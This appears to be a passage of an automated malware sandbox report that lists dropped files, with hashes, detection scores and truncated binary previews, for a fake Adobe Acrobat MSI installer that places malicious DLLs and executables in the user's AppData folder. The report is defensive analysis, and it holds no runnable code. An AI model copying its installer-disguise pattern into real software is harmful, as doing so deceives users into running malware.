Preview:	L..................F.@.. ...$+.,.....8.a:.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I8Y.#....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V8Y.#....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V8Y.#....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V8Y.#.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V8Y.#...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............A.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Sep 24 03:29:44 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9835600910056463
Encrypted:	false
SSDEEP:	48:8j/d+T4OUPHVcidAKZdA1X4ehBiZUk1W1qehBy+C:8w0OU8b9hy
MD5:	41528C48F3902211481A6BE5BD18FE41
SHA1:	29C4E90B272DB75CD4D54DF71B686E4F8621F4F8
SHA-256:	FA4A0B3FAAE84901D3C3E001E5630394DFCC05B6692A6737D83E2871C6EC5F29
SHA-512:	50EFDBC48444B325968A7041F4CE70E34F2E576A5D1CCD28473262CD967F52B980221F9D9ECBD358435F2D2FACCDA3203F1ACC402AF912BEEB8C026A83E64CF0
Malicious:	false
Preview:	L..................F.@.. ...$+.,......a:.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I8Y.#....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V8Y.#....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V8Y.#....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V8Y.#.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V8Y.#...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............A.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Sep 24 03:29:44 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.991875269126849
Encrypted:	false
SSDEEP:	48:8C/d+T4OUPHVcidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTbLy+yT+:8N0OU5TcJTbxWOvTbLy7T
MD5:	E0E11264B88346C3093BC6DC600AAF0A
SHA1:	4D8D85E497418858B6FEBB6CBF6CF358488BB531
SHA-256:	CEC69B968DED8E56CD61B79F900800B4529BD80E45761069BA2CF62B33DB6FC8
SHA-512:	04FC9F78D9DC59941474576389D2CB5044DCC3530F31B8B5BF587724ADAEBAEF152625173911AC341430CB768B816A96FD3E27EDA6956667F9B811AB177F7C47
Malicious:	false
Preview:	L..................F.@.. ...$+.,....@/ya:.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I8Y.#....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V8Y.#....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V8Y.#....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V8Y.#.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V8Y.#...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............A.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\avutil.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12070912
Entropy (8bit):	7.945671382576249
Encrypted:	false
SSDEEP:	196608:MMMzDTT+EmWDImLbjAhy7yS9OCXKnPld4NlKczRcXs5bTu/wwL:MZTJD0hy7fWYckTI9
MD5:	0B19931A8E606E82B1F77916D63E7654
SHA1:	8170739189BED028C6BDCB7F72114A7DF30ED28C
SHA-256:	CC2075E453AB781439B947C50ADC717C78D4AF5BD8D23F8106E00E58EFCB7FDE
SHA-512:	EDAB2738978C7195A6C799882DF67E0B52A13A06AC5A90F0DF36F8E7E1F20C4DDB581D0B19F299A5514D32F3712952BC615C64500A711CD6620F5A46E7FF9AD7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 18%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........PE..L.....f...........!.....v.......................@.......................................@.........................t....7..0...d....................................................................................pv.$...........................text...xc.......................... ..`.itext.............................. ..`.data....M..........................@....bss.....i...............................idata.......`......................@....didata......p......................@....edata...7..........................@..@.rdata..E...........................@..@........[.g......................... ..`........<....pv.....................@...........` ....v..".................. ..`.reloc...............(..............@..B.............................................................P......................@..@........................................................

C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\fec.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	27535872
Entropy (8bit):	6.900385560587771
Encrypted:	false
SSDEEP:	393216:Qwlf3f5+Z5Q8eFapl37A0Rqo/y1Ma9wiU72rjqiUZqDIzyzTZ+2lSPQl8unRM0qO:Qw2lRyKDnPIfRMZ2r
MD5:	57232FA398EC29F0CD79A95ED0361E46
SHA1:	31720D0FD9C80AB016503194F0A7722339B187C9
SHA-256:	3F60AB3822D5152FB4AEE997803FCC98A55B2E7D615B9652289496A561EF6D7E
SHA-512:	4C548FFFA2E8F59B79CE1264A97E75DBCB8285214CCB916B337C1E794025042A521FBC8A4630EE39507FDF7E46C86A2693E4C725C404D55C52E07F8891948806
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\fec.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...Y..].............................#.......0....@..........................0......l:...........@....................A.......@.(....pV...[...................A...............................A.......................@......0A.0v...................text............................... ..`.itext..(....0...................... ..`.data...\|....0......................@....bss.........2..........................idata..(.....@.......2.............@....didata.0v...0A..x...b3.............@....edata........A.......3.............@..@.tls..........A..........................rdata..].....A.......3.............@..@.reloc........A.......3.............@..B.rsrc.....[..pV...[..lH.............@..@............. ......................@..@................

C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\open.pag

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	37762576
Entropy (8bit):	7.999995832162863
Encrypted:	true
SSDEEP:	786432:cO1VypVt6A/5rl7bjwNNq2OjciL8WzA+aJSGUPWr6+xe:bGpVt6A/xZjwjADAWzveXcWrA
MD5:	8533DE360BE3136F4B1E03D2734743D9
SHA1:	7559357EE015CF7DC82EEAD4B89F9B1DA5C0FB46
SHA-256:	69AA689B5DB13C2DCFE94CADB1F14165F5232BC2EA7A53AB64AC71E9DFB404AB
SHA-512:	FCEA5F131E822DF23D97F30E4A6EEFB882A4DEF038E75BBBC863C07E1C78FAB0E4F58B3E55499ACBBD3D3F85C25B5DA4B344B8F53CEC72910A0D812FD17B4C62
Malicious:	false
Preview:	i...O...(.4.:.D..Dj.Tr.."f...$........k.=;...b/0.x.\...n........k....@p....$.CWL...q5.t:.].H.m.;Z.81X.84$9%..f.s2...`..).>o..F't.:.%.../..H&"t..z......[.i..h.%...`b......cc.^....m..0.........Q.....C..2V.s=!0...j1.?.AC.#......caj.1.ik.S(..:..`at..$..3.P.s\|w..>n/.i!...q.....L..z.R.z]1.R[@....K.e...+........O^Y.J.......Z..z.[}.80..".(..g..l.d_...j?..!...[.H....%.+..EXXN}..^......)3w.O...M..s.X1PcT.vAR9e.......aT........;...[....i\|.a.Gx...D.j.sT...W.o..$r..k..n.\.....x.W...=.0./IO!.}.=.x....=R....Y.......E.'..`...-...@"..d-...I.&...D...:sN..>...T.u.. S.@K..C.._..y0.h).E..H.-D.:_.SP>.5.U...h6c&.........^}.K.a]#..X...'......}B....I"uh;..].\.ysc....5p...F...E.6.../.x7C...O<.].TY\..9..AM+..T.......=...../.....$..Q\.(...Y....b.;d.z..8....5.h..7.D+..G.m3J\|......p.i.j(.../...#. .8. .,>...Za.,......J..qf<.....Q.z..........B.....]..pli..R.UL....k.j......X....XH..A....+(.:./Q.CP.w..5..FN.....i..`..P.~2.........Ut{Nh2:..C2f..];w...m.b..E^L%.ZZ.%..

C:\Users\user\AppData\Roaming\Updatee43o.msi

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {EAFD1367-48CC-4886-B147-05DB3EF61ECF}, Number of Words: 10, Subject: Adobe Acrobat, Author: Reader, Name of Creating Application: Adobe Acrobat, Template: ;1046, Comments: A base dados do instalador contm a lgica e os dados necessrios para instalar o Adobe Acrobat., Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Tue Sep 17 21:41:41 2024, Number of Pages: 200
Category:	dropped
Size (bytes):	64254464
Entropy (8bit):	7.98941349566161
Encrypted:	false
SSDEEP:	1572864:qeSYp0v/0zdL/Yucr46GXOFJ1VLYfM599MLzI10F3:qJn0JL/YRricJ1VgM59CLzI1A3
MD5:	6BF3E367992AC0FEA033994D065E043B
SHA1:	73AA24FD422D0671A1BF8B6FF146EAD77A0F602C
SHA-256:	8B825AB4E09E46F281A3E2E0AB2997981FE5AF3644BD1942D677A58CC22FDFA9
SHA-512:	B2DD7A8D2D611E0F1FAE514BA49160ECD47479C70D7FB3BD4D5DF07FCCB095C33AC840FA1383351E7D33F3CAFBBC1C4E328528F32F07F7150BE383660823CDBB
Malicious:	true
Preview:	......................>...........................................<...........H.......d.......q...............................................i...j...k...l...m...n...o...p...q................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)......+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...............................$...7........................................................................................... ...!..."...#......./...&...'...(...)......+...,...-.......0...5...1...2...3...4...8...6...?...A...9...:...;...<...=...>.......@...G...B...C...D...E...F...............J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\3f3863.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {EAFD1367-48CC-4886-B147-05DB3EF61ECF}, Number of Words: 10, Subject: Adobe Acrobat, Author: Reader, Name of Creating Application: Adobe Acrobat, Template: ;1046, Comments: A base dados do instalador contm a lgica e os dados necessrios para instalar o Adobe Acrobat., Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Tue Sep 17 21:41:41 2024, Number of Pages: 200
Category:	dropped
Size (bytes):	64254464
Entropy (8bit):	7.98941349566161
Encrypted:	false
SSDEEP:	1572864:qeSYp0v/0zdL/Yucr46GXOFJ1VLYfM599MLzI10F3:qJn0JL/YRricJ1VgM59CLzI1A3
MD5:	6BF3E367992AC0FEA033994D065E043B
SHA1:	73AA24FD422D0671A1BF8B6FF146EAD77A0F602C
SHA-256:	8B825AB4E09E46F281A3E2E0AB2997981FE5AF3644BD1942D677A58CC22FDFA9
SHA-512:	B2DD7A8D2D611E0F1FAE514BA49160ECD47479C70D7FB3BD4D5DF07FCCB095C33AC840FA1383351E7D33F3CAFBBC1C4E328528F32F07F7150BE383660823CDBB
Malicious:	false
Preview:	......................>...........................................<...........H.......d.......q...............................................i...j...k...l...m...n...o...p...q................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)......+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...............................$...7........................................................................................... ...!..."...#......./...&...'...(...)......+...,...-.......0...5...1...2...3...4...8...6...?...A...9...:...;...<...=...>.......@...G...B...C...D...E...F...............J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSI4090.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469389454249605
Encrypted:	false
SSDEEP:	6144:QaFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl+mN9ysU5pvs8g73E:pYL9HXVW0xOA+KlZC4vc55s8g73E
MD5:	B7A6A99CBE6E762C0A61A8621AD41706
SHA1:	92F45DD3ED3AAEAAC8B488A84E160292FF86281E
SHA-256:	39FD8D36F8E5D915AD571EA429DB3C3DE6E9C160DBEA7C3E137C9BA4B7FD301D
SHA-512:	A17E4512D906599B7F004EBB2F19EE2566EE93C2C18114AC05B0A0115A8C481592788F6B97DA008795D5C31FB8D819AC82A5097B1792248319139C3FACE45642
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: nf963-5d-qns6-w812.msi, Detection: malicious, Browse Filename: ScreenBeam_Conference_Windows_1.0.5.9.msi, Detection: malicious, Browse Filename: 1eSOBjseu2.msi, Detection: malicious, Browse Filename: 2024.0198840 298135.msi, Detection: malicious, Browse Filename: hForm.0198840 739798.msi, Detection: malicious, Browse Filename: ust_019821730-0576383.msi, Detection: malicious, Browse Filename: Br_i421i2-2481-125_754864.msi, Detection: malicious, Browse Filename: RAS_OL321231.msi, Detection: malicious, Browse Filename: file.msi, Detection: malicious, Browse Filename: file.msi, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0.......4....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI411E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469389454249605
Encrypted:	false
SSDEEP:	6144:QaFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl+mN9ysU5pvs8g73E:pYL9HXVW0xOA+KlZC4vc55s8g73E
MD5:	B7A6A99CBE6E762C0A61A8621AD41706
SHA1:	92F45DD3ED3AAEAAC8B488A84E160292FF86281E
SHA-256:	39FD8D36F8E5D915AD571EA429DB3C3DE6E9C160DBEA7C3E137C9BA4B7FD301D
SHA-512:	A17E4512D906599B7F004EBB2F19EE2566EE93C2C18114AC05B0A0115A8C481592788F6B97DA008795D5C31FB8D819AC82A5097B1792248319139C3FACE45642
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0.......4....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI415E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469389454249605
Encrypted:	false
SSDEEP:	6144:QaFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl+mN9ysU5pvs8g73E:pYL9HXVW0xOA+KlZC4vc55s8g73E
MD5:	B7A6A99CBE6E762C0A61A8621AD41706
SHA1:	92F45DD3ED3AAEAAC8B488A84E160292FF86281E
SHA-256:	39FD8D36F8E5D915AD571EA429DB3C3DE6E9C160DBEA7C3E137C9BA4B7FD301D
SHA-512:	A17E4512D906599B7F004EBB2F19EE2566EE93C2C18114AC05B0A0115A8C481592788F6B97DA008795D5C31FB8D819AC82A5097B1792248319139C3FACE45642
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0.......4....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI418D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469389454249605
Encrypted:	false
SSDEEP:	6144:QaFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl+mN9ysU5pvs8g73E:pYL9HXVW0xOA+KlZC4vc55s8g73E
MD5:	B7A6A99CBE6E762C0A61A8621AD41706
SHA1:	92F45DD3ED3AAEAAC8B488A84E160292FF86281E
SHA-256:	39FD8D36F8E5D915AD571EA429DB3C3DE6E9C160DBEA7C3E137C9BA4B7FD301D
SHA-512:	A17E4512D906599B7F004EBB2F19EE2566EE93C2C18114AC05B0A0115A8C481592788F6B97DA008795D5C31FB8D819AC82A5097B1792248319139C3FACE45642
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0.......4....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI41CD.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469389454249605
Encrypted:	false
SSDEEP:	6144:QaFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl+mN9ysU5pvs8g73E:pYL9HXVW0xOA+KlZC4vc55s8g73E
MD5:	B7A6A99CBE6E762C0A61A8621AD41706
SHA1:	92F45DD3ED3AAEAAC8B488A84E160292FF86281E
SHA-256:	39FD8D36F8E5D915AD571EA429DB3C3DE6E9C160DBEA7C3E137C9BA4B7FD301D
SHA-512:	A17E4512D906599B7F004EBB2F19EE2566EE93C2C18114AC05B0A0115A8C481592788F6B97DA008795D5C31FB8D819AC82A5097B1792248319139C3FACE45642
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0.......4....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI4597.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	575820
Entropy (8bit):	4.5649705015875774
Encrypted:	false
SSDEEP:	3072:aBWHMAi8Ua0D/9GZRaZrwGJwI5t6+Z150YRRxuYI4V11HDQ2YcJYEiY0Yxv5jBdC:e5zNJxJJ972AY19dyLm
MD5:	B825E123AA220D4BF9CEC8F59232757B
SHA1:	DD7B0DBE1436C620E4BF1F9F83F10E8F501A4E07
SHA-256:	E0D09693E8473EB6098F629E711F6D84BD82F6024FA3C822CCEDCDC46283B0AD
SHA-512:	718BDA5001820CF83756A199BC0C4E755416EFF6F76E8FCA99A3CCBEA78AA60766A0EAA080E26B6851A7BAC267020BDAF805FFC07016A49B40493D10464A2AAE
Malicious:	false
Preview:	...@IXOS.@.....@..8Y.@.....@.....@.....@.....@.....@......&.{AD77C9EF-D532-4B73-AECB-399331D1F6EA}..Adobe Acrobat..Updateizpy.msi.@.....@.....@.....@........&.{EAFD1367-48CC-4886-B147-05DB3EF61ECF}.....@.....@.....@.....@.......@.....@.....@.......@......Adobe Acrobat......Rollback..A.....o. .d.e. .r.e.s.t.a.u.r.a.....o.....RollbackCleanup..Removendo arquivos de backup..Arquivo: [1]...@.......@........ProcessComponents%.Atualizando o registro de componentes...@.....@.....@.]....&.{9B4BAC4C-0C06-4A64-9F41-582CCF01CD87}3.C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\.@.......@.....@.....@......&.{B3CE7E96-BA2A-4BE7-8126-989E3813DFFB}).01:\Software\Reader\Adobe Acrobat\Version.@.......@.....@.....@......&.{23280583-E8D4-406D-85B5-220ECD112E49}..01:\Software\Microsoft\.@.......@.....@.....@......&.{E2C0EB4E-0199-475D-819F-E6238A745503}..01:\Software\Microsoft\Windows\.@.......@.....@.....@......&.{461EC9D1-7820-48A4-8977-1D452752DBE1}..01:\Software\Microsoft\Windows\CurrentVersion\.@.

C:\Windows\Installer\SourceHash{AD77C9EF-D532-4B73-AECB-399331D1F6EA}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.163327613030651
Encrypted:	false
SSDEEP:	12:JSbX72FjprlAGiLIlHVRpZh/7777777777777777777777777vDHFv5pMhbb4BiV:JnrlQI5t55p4kMiF
MD5:	750DB7B6A48BF7DB67B8F33677A4584F
SHA1:	189BC66E41512D8C24E6099AFF15D7CC8A940923
SHA-256:	B5387AE23B4A3D01FFBCAC5B5145CA5232191B42A9F22D3A4D0FAA734296E37D
SHA-512:	DB7D8280A9D63BEB6F7419791165FBA27D8EDFDAAA0D3FA1EAD4F5C457B3A57FC5CA238B43FC65B19AB0B39D6956243F7B24E4AC2ECE953818E3C0684BE052A3
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5304468050274358
Encrypted:	false
SSDEEP:	48:m8PhhuRc06WXJqjT53SQzSutAEu5Cyq9ozSuxTNihhTl:5hh1hjTpSQz12v5CDoz1KXx
MD5:	C90931C53EEDA25F2BF8F880EBE84A51
SHA1:	3AD0AAE3E8CBCE802DC5F8DEC3044DD795C2D9F8
SHA-256:	6E8661B238FA67928696D1D1E89A7D300DD7E97882836231D9D15E1B49F1AC29
SHA-512:	86102F8F9AF36A3F1DD6E6FED8CC161675C97B4E1B2447AC02D9B914F6BC452DE8906A9F04D3396F76A9EE8F5F3BD00362DEBF7C884F12DB95734DD58CDA1815
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF16AF98965506392E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07154092171891893
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOv5pCFhjaQb4kltgVky6lit/:2F0i8n0itFzDHFv5pMhbb4uit/
MD5:	E415778F95E8FE7C6F65C31B58FF4078
SHA1:	051D9A7C624206E103839720EC57F5B85C6AE58C
SHA-256:	FD99B864B2E5A92CA6042AD299F64DF0F17FF33A4A732432A002BA7548BD469C
SHA-512:	79D03F5B849A6230B420FFD66CE4341022E0825AF4CAD1B6B3D793345FE2A1444D4D84B0E8BF436C0A6AD8747CD376345C35B54445639312CF241976FC17F90C
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF17287808CEC048B8.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5304468050274358
Encrypted:	false
SSDEEP:	48:m8PhhuRc06WXJqjT53SQzSutAEu5Cyq9ozSuxTNihhTl:5hh1hjTpSQz12v5CDoz1KXx
MD5:	C90931C53EEDA25F2BF8F880EBE84A51
SHA1:	3AD0AAE3E8CBCE802DC5F8DEC3044DD795C2D9F8
SHA-256:	6E8661B238FA67928696D1D1E89A7D300DD7E97882836231D9D15E1B49F1AC29
SHA-512:	86102F8F9AF36A3F1DD6E6FED8CC161675C97B4E1B2447AC02D9B914F6BC452DE8906A9F04D3396F76A9EE8F5F3BD00362DEBF7C884F12DB95734DD58CDA1815
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF42D1387290C8D4F7.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
